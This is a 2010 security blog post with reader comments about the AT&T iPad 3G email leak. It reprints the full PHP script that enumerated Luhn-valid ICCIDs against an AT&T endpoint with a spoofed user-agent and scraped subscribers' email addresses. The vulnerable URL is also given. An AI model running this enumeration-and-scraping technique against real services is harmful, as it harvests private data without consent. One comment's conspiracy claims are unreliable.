// you’re reading...

enumeration

114,000 iPad Owners: The Script that Harvested Their E-mail Addresses

Here is the script referenced in the Gawker story from earlier that describes how a number of early iPad 3G subscribers, including names like Harvey Weinstein, Michael Bloomberg, Diane Sawyer, and Rahm Emanuel had their e-mails revealed via a poorly designed web application hosted by AT&T.

Goatse Security, named for the famous Internet shock image, wrote the script to harvest e-mail addresses by providing ICC-ID numbers (integrated circuit card identifier, a number that associates a SIM card with a subscriber) and parsing the returned e-mail address.


High profile users from the list of harvested e-mail addresses.


After speaking with Goatse Security member Weev, he was kind enough to share the script:


<?php // iPad 3G Account Slurper // // Usage: ./ipadump.php ICCID-base count // (The script generates the final checkdigit to produce ICCIDs from the entered base) $useragent="Mozilla/5.0 (iPad)"; //Spoof as iPad $ICCIDroot = $_SERVER['argv'][1]; $ICCIDcount = $_SERVER['argv'][2]; function genluhn($number){ //Crappy home-made Luhn checkdigit generator $i = strlen($number)-1; do { $array[] = $number[$i]; $i--; } while ($i > -1); $i = 0; foreach ($array as $digit) { if (!($i & 1)){ $digit = $digit * 2; if ($digit >= 10) { $digit = $digit - 9; } } $total += $digit; $i++; } $luhn = 10 - ($total % 10); if ($luhn == 10) $luhn=0; return $luhn; } while (1) { //Continue FOREVER $ch = curl_init(); //Set up cURL curl_setopt($ch, CURLOPT_USERAGENT, $useragent); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); //Since theres a lot of redirection curl_setopt($ch, CURLOPT_COOKIEJAR, "cookies"); //See later curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); //Returns any and all data $ICCID = $ICCIDroot.genluhn(strval($ICCIDroot)); //Generate checkdigit and attach it to the ICCID curl_setopt($ch, CURLOPT_URL, "https://dcp2.att.com/OEPClient/openPage?ICCID=".strval($ICCID)."&IMEI=0"); $output = curl_exec($ch); //Load first page with ICCID curl_setopt($ch, CURLOPT_URL, "https://dcp2.att.com/OEPClient/Customer"); $output = curl_exec($ch); //Now load page that is normally redirected with JavaScript. cURL is nice and passes the previously GET'd info curl_close($ch); //print $output; //Prints HTML result if (!($counter % 50)) echo "-".strval($ICCID)."-\n"; //Prints ICCID every 50 counts just to keep track of how far the script has gotten //Parse output. Terribly sloppy if (preg_match("/<title>Error<\/title>/", $output, $match)) { preg_match("/<div class=\"info-container\">(.*)<br>(.*)<br>/msU", $output, $match); $match[0] = preg_replace("/<div class=\"info-container\">\n\s\s+/","",$match[0]); $match[0] = preg_replace("/<\/b><br>/", "<\/b> <br>", $match[0]); //Because I want space between the period and the next sentence, dammit $errnum = strip_tags($match[0]); $status = "Error! ".$errnum; //Return specific error message } else if (preg_match("<input id=\"email\" name=\"email\" type=\"email\" placeholder=\"Required\" value=\".*\@.*\" autocapitalization=\"off\" autocorrect=\"off\">", $output, $match)) { $match[0] = preg_replace("/input id=\"email\" name=\"email\" type=\"email\" placeholder=\"Required\" value=\"/","",$match[0]); $status = preg_replace("/\" autocapitalization=\"off\" autocorrect=\"off\"/", "", $match[0]); //Return email address } else { $status = "Inactive"; //Assume SIM is inactive if nothing tells us otherwise. Bad logic, will fix. } if ($status != "Inactive") echo strval($ICCID)." : ".$status."\n"; //Print ICCID with error message or email address. Can print if ICCID is inactive, but it makes for a long, redundant log. if ($counter == $ICCIDcount) exit; $ICCIDroot++; //step ICCID $counter++; //step loop counter } ?>

There are probably a few things worth pointing out. They had to set the user-agent string to be the iPad as shown:

$useragent="Mozilla/5.0 (iPad)";

The vulnerable URL at att.com was:

https://dcp2.att.com/OEPClient/openPage?ICCID=Insert number here&IMEI=0

And that’s it, an e-mail address gets returned in the successful iterations (active ICCID) and parsed. There’s no hack, no infiltration, and no breach, just a really poorly designed web application that returns e-mail address when ICCID is passed to it.

Bookmark and Share

Related Posts:


Discussion

24 comments for “114,000 iPad Owners: The Script that Harvested Their E-mail Addresses”

  1. well, good for you!

    Posted by jpatterson | June 10, 2010, 7:35 AM
  2. [...] upshot is that, as this page rightly points out (thanks to @securityninja for the link) “There’s no hack, no infiltration, and no [...]

    Posted by NTEOTWAWKI « The AVIEN Blog | June 10, 2010, 8:15 AM
  3. [...] reports that by exploiting a vulnerability in the AT&T Web site, hacker group Goatse Security was able to collect email addresses associated with the SIM [...]

    Posted by Apple iPad Email Addresses Exposed in AT&T Security Breach | John Paczkowski | Digital Daily | AllThingsD | June 10, 2010, 1:38 PM
  4. [...] Prefect has the actual PHP script itself, courtesy of Goatse member Weev, if you would like to take a look at it now that AT&T has fixed the [...]

    Posted by 114,000 iPad Owners Might Get Spam - Latest Technology Trends | June 10, 2010, 5:10 PM
  5. “There’s no hack, no infiltration, and no breach, just a really poorly designed web application…”

    Like “real” hacks are all different somehow.

    Posted by CaptainObvious | June 11, 2010, 12:08 AM
  6. [...] Web application that returns e-mail address when ICC-ID is passed to it,” says Praetorian Security Group in a blog post on the [...]

    Posted by AT&T network hack? Nope, brute force, say experts | Apple iPad News | June 11, 2010, 2:43 AM
  7. This is the very definition of a hack – “modification of a program or device to give the user access to features that were otherwise unavailable” You fake your user-agent and then hammer a URL, it’s called hacking. What is surprising is that AT&T didn’t have any Denial of Service measures in place, surely the one IP hitting this url a million times should have raised some alarms.

    Posted by John | June 11, 2010, 4:36 AM
    • That’s kind of semantics right? Based on that definition, your browser is performing a “hack” right now to read this web site.

      I guess my point is that it doesn’t rise to the level of a criminal intrusion, being more akin to an NMAP scan, which is what popular media thinks of with the world “hack”.

      Posted by Prefect | June 11, 2010, 2:50 PM
  8. [...] auf praetorianprefect.com nach zu lesen ist, wurde mittels einem relativ einfachem PHP-Script ein Leck in einer AJAX-API [...]

    Posted by API – Schnittstellen wollen gut geprüft werden | Webregard - Watch the Web | June 11, 2010, 5:29 AM
  9. Just by reading the description of the hack, one can easily visualize in his preferred programming language the way they did the job, just need the pattern of an ICC-ID, the script is pretty uninteresting at this point. It only shows that Gawker will pay anyone, even 4chan tards to discredit Apple in any way (as shown by the title which is false)

    Posted by David Davidson | June 11, 2010, 6:30 AM
    • Seeing the script helped to make some sense out of what Gawker was reporting, and I had wanted to see the actual request to AT&T to see if there was anything more to it:

      https://dcp2.att.com/OEPClient/openPage?ICCID=Insert number here&IMEI=0

      Apple must have known how this worked at some level, and there owns some culpability for not objecting to the design. But the initial Gawker reporting was over the top and misleading.

      But you’re entitled to your opinion.

      Posted by Prefect | June 11, 2010, 2:55 PM
  10. [...] wrote a PHP script that flooded AT&T’s Web site with possible ICC-ID numbers and logged responses when the [...]

    Posted by FBI probes AT&T’s iPad 3G e-mail leaks | IT-Networks | June 11, 2010, 10:29 AM
  11. [...] e-mail address when ICC-ID is passed to it,” Praetorian said in a late Wednesday entry on its security blog [...]

    Posted by ‘Brute force’ script snatched iPad e-mail addresses « Lights It Is Renaissance Word | June 11, 2010, 10:29 AM
  12. [...] e-mail address when ICC-ID is passed to it,” Praetorian said in a late Wednesday entry on its security blog [Computer [...]

    Posted by SpaceTechsOnline.net » Blog Archive » AT&T Security Hole Let Hackers Steal Personal Info From Famous iPad Users | 80beats | June 11, 2010, 5:00 PM
  13. [...] e-mail address when ICC-ID is passed to it,” Praetorian said in a late Wednesday entry on its security blog [Computer [...]

    Posted by YourTechWorld » AT&T Security Hole Let Hackers Steal Personal Info From Famous iPad Users | 80beats | June 11, 2010, 6:56 PM
  14. [...] e-mail address when ICC-ID is passed to it,” Praetorian said in a late Wednesday entry on its security blog [Computer [...]

    Posted by Techs for Planet - AT&T Security Hole Let Hackers Steal Personal Info From Famous iPad Users | 80beats | June 12, 2010, 3:00 AM
  15. looks like an inside job by employee/coder at AT&T, purposfully writing vlunerable script for a PR Stunt involving Weev. A Cheap shot aimed at Apple/Google, through another interface.

    Just another windows/microsoft type sleazy goings on, who have a neverending viral problem, fixed by buying new computers and viral software, because of a poor operating system, compared to apple who fixes any breech virtually before it occurs for free.

    It may involve the israel-chinese affair of trying to boot google-apple because of their reluctance to censor data for pseudo-religious/political-business/competition reasons. And a really sleazy alogical jstification shot at not allowing some of apples new single face computers to be sold in isreal

    This is the great nothing, a cheap shot at a bad PR Stunt, taken up in the news media, who does as they are told

    Posted by jackie cox | June 13, 2010, 10:08 PM
  16. [...] with law enforcement to investigate. To get the email addresses, the hackers took advantage of a home grown PHP script, which sent ICC ID numbers from SIM's to the AT&T server. The server was expecting to be called [...]

    Posted by AT&T apologises to iPad 3G owners for security breach | June 14, 2010, 11:13 AM
  17. [...] The script that harvested 114,000 iPad users’ data [...]

    Posted by RSS Tidbits for 5 July 2010 « SKFox.com | July 5, 2010, 7:16 PM
  18. If the data is in clear text, not protected and can simply be parsed I hardly call that a hack.

    That almost sounds like what goes on in any company every day. That data should have been behind a firewall.

    Sounds totally unresponsible on AT&Ts part.

    Posted by FDunn | July 8, 2010, 9:16 AM

Post a comment